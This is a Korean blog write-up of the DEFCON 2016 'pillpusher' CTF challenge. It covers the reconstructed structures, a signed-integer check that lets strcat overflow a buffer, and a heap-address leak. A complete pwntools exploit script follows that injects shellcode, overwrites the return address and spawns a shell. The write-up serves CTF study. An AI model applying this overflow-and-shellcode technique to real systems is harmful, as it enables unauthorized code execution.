-
defcon 2016 pillpusherPwnable/CTF 2018. 1. 24. 19:14
statically linked인데 strip이 걸린문제다 ..
취약점이나 공격방법이나 엄청나게 간단한문제인데 분석이 힘든 문제인것같다 ..
12345678910111213141516171819202122232425262728293031323334353637fill { #pillchar* name 0int dosage 8int schedule 12int side_count 16int ?? 20char* side[] 24int Interactions_count 32int ?? 36char* Interactions[] 40int treats_count 48int ?? 52char* treats[] 56}pharmacy {char *nameint ?? 8int pill_count 12pill *Pill 16int ?? 24int staff_count 28staff *Staff 32 #Pharmacist}staff { #pharmacistchar *name 0int level 8}patient {char *name 0int ?? 8int symptoms_count 12char *symptoms[] 16}cs 구조체는 위와 같다.
취약점은 Scrip menu에서 Add scrip부분에서
위 부분에 있다.
add_pill에서 array_pill_name이라는 배열 사이즈는 512, pill_name 배열 사이즈는 256이고 원래같으면 2번밖에 돌아가지 못해 딱 512에 맞추게되는데 while문안에 들어가는 변수는 signed int형이기때문에 -1을 넣어도 2 보다 큰값인지 확인하는 if문에 들어가지 않기때문에 무한반복 으로 돌아가면서 array_pill_name 배열에 pill_name값을 넣을수있다.
add pill함수안에 들어가면 strcat함수로 복사를 하기때문에 오버플로우 취약점이 생긴다.
공격방법으로는 스태틱 링크로 되어있기때문에 execve syscall을 하는방법으로 공격할수있고, NX가 걸려있지 않기때문에 쉘코드를 입력하고 그쪽으로 리턴을 하는방법이 있다.
쉘코드로 공격을하기위해서는 메모리 릭을 해야되는데 pill menu 에서 add pill 함수를 보면 256 크기인배열에 256밖에 입력을 받는데 256바로 뒤에는 힙 주소를 가지고있는 포인터가 있어서 256 + 힙주소 6byte가 같이 복사가되어서 힙주소 릭이 가능해진다.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798from pwn import *p=process("./pillpusher")context(arch='amd64',os='linux')def pill_add(name,dosage,schedule):p.sendlineafter('> ','2')p.sendlineafter('> ','1')p.sendlineafter(': ',name)p.sendlineafter(': ',str(dosage))p.sendlineafter(': ',str(schedule))###def pill_add2(name,schedule):p.sendlineafter('> ','2')p.sendlineafter('> ','1')p.sendlineafter(': ',name)p.sendlineafter(': ',str(schedule))def pharmacist_add(name,level):p.sendlineafter('> ','3')p.sendlineafter('> ','1')p.sendlineafter(': ',name)p.sendlineafter(': ',str(level))p.sendlineafter('> ','5')def patient_add(name,like):p.sendlineafter('> ','4')p.sendlineafter('> ','1')p.sendlineafter(': ',name)p.sendlineafter(': ',like)###def pharmacy_add(name):p.sendlineafter('> ','1')p.sendlineafter('> ','1')p.sendlineafter('? ',name)p.recvuntil('quit.')pill_add2(asm(shellcraft.amd64.linux.sh())+"\x90"*(255-len(asm(shellcraft.amd64.linux.sh())))+"B",1)p.sendlineafter(': ','AAAA\n') #blankp.sendlineafter(': ','AAAA\n') #interactsp.sendlineafter(': ','AAAA\n') #sidep.sendlineafter('> ','3') #listp.recvuntil('B')heap = u64(p.recv(6)+"\x00\x00") + 0x48shellcode = heapprint hex(heap)print hex(shellcode)pill_add('B'*255,1,1) #255p.sendlineafter(': ',asm(shellcraft.sh())) #treatsp.sendlineafter(': ','AAAA'+'\n') #treats 2p.sendlineafter(': ','AAAA\n') #interactsp.sendlineafter(': ','AAAA\n') #sidepill_add('C'*255,1,1) #510p.sendlineafter(': ','AAAA\n') #treatsp.sendlineafter(': ','AAAA\n') #interactsp.sendlineafter(': ','AAAA\n') #sidepill_add('C'*2+'D'*8+p64(shellcode),1,1) #512 + getcallerseflags + sfp + shellcode->retp.sendlineafter(': ','AAAA\n') #treatsp.sendlineafter(': ','AAAA\n') #interactsp.sendlineafter(': ','AAAA\n') #sidep.sendlineafter('> ','6') #pill exitpharmacist_add('aaaa',30)patient_add('AAAA','Y')p.sendlineafter(': ','AAAA'+'\n') #symptomsp.sendlineafter('> ','5')pharmacy_add('AAAA')p.sendlineafter(': ','B'*255) #pill namep.sendlineafter(': ','C'*255)p.sendlineafter(': ','C'*2+'D'*8+p64(shellcode)+'\n')p.sendlineafter(': ','aaaa'+'\n') #pharmacist namep.sendlineafter('> ','5')#select pharmacy,pharmacist,patientp.sendlineafter('> ','5')p.sendlineafter('> ','1') #select pharmacyp.sendlineafter(': ','AAAA')p.sendlineafter('> ','2') #select pharmacistp.sendlineafter(': ','1')p.sendlineafter('> ','3') #select patientp.sendlineafter(': ','AAAA')p.sendlineafter('> ','4') #add scripp.sendlineafter(': ','-1')p.sendlineafter(': ','B'*255)p.sendlineafter('Add pill: ','C'*255)p.interactive()p.sendlineafter('Add pill: ','C'*2+'D'*8+p64(shellcode))p.sendlineafter('Add pill: ','A')p.interactive()cs 'Pwnable > CTF' 카테고리의 다른 글
HITCON CTF 2017 ragnarok (0) 2018.02.01 HITCON CTF 2017 babyfs (0) 2018.01.30 insomnihack CTF 2018 sapeloshop (0) 2018.01.23 Codegate 2017 Final building_owner (0) 2018.01.21 Christmas CTF 2017 BitcoinGallery (0) 2018.01.18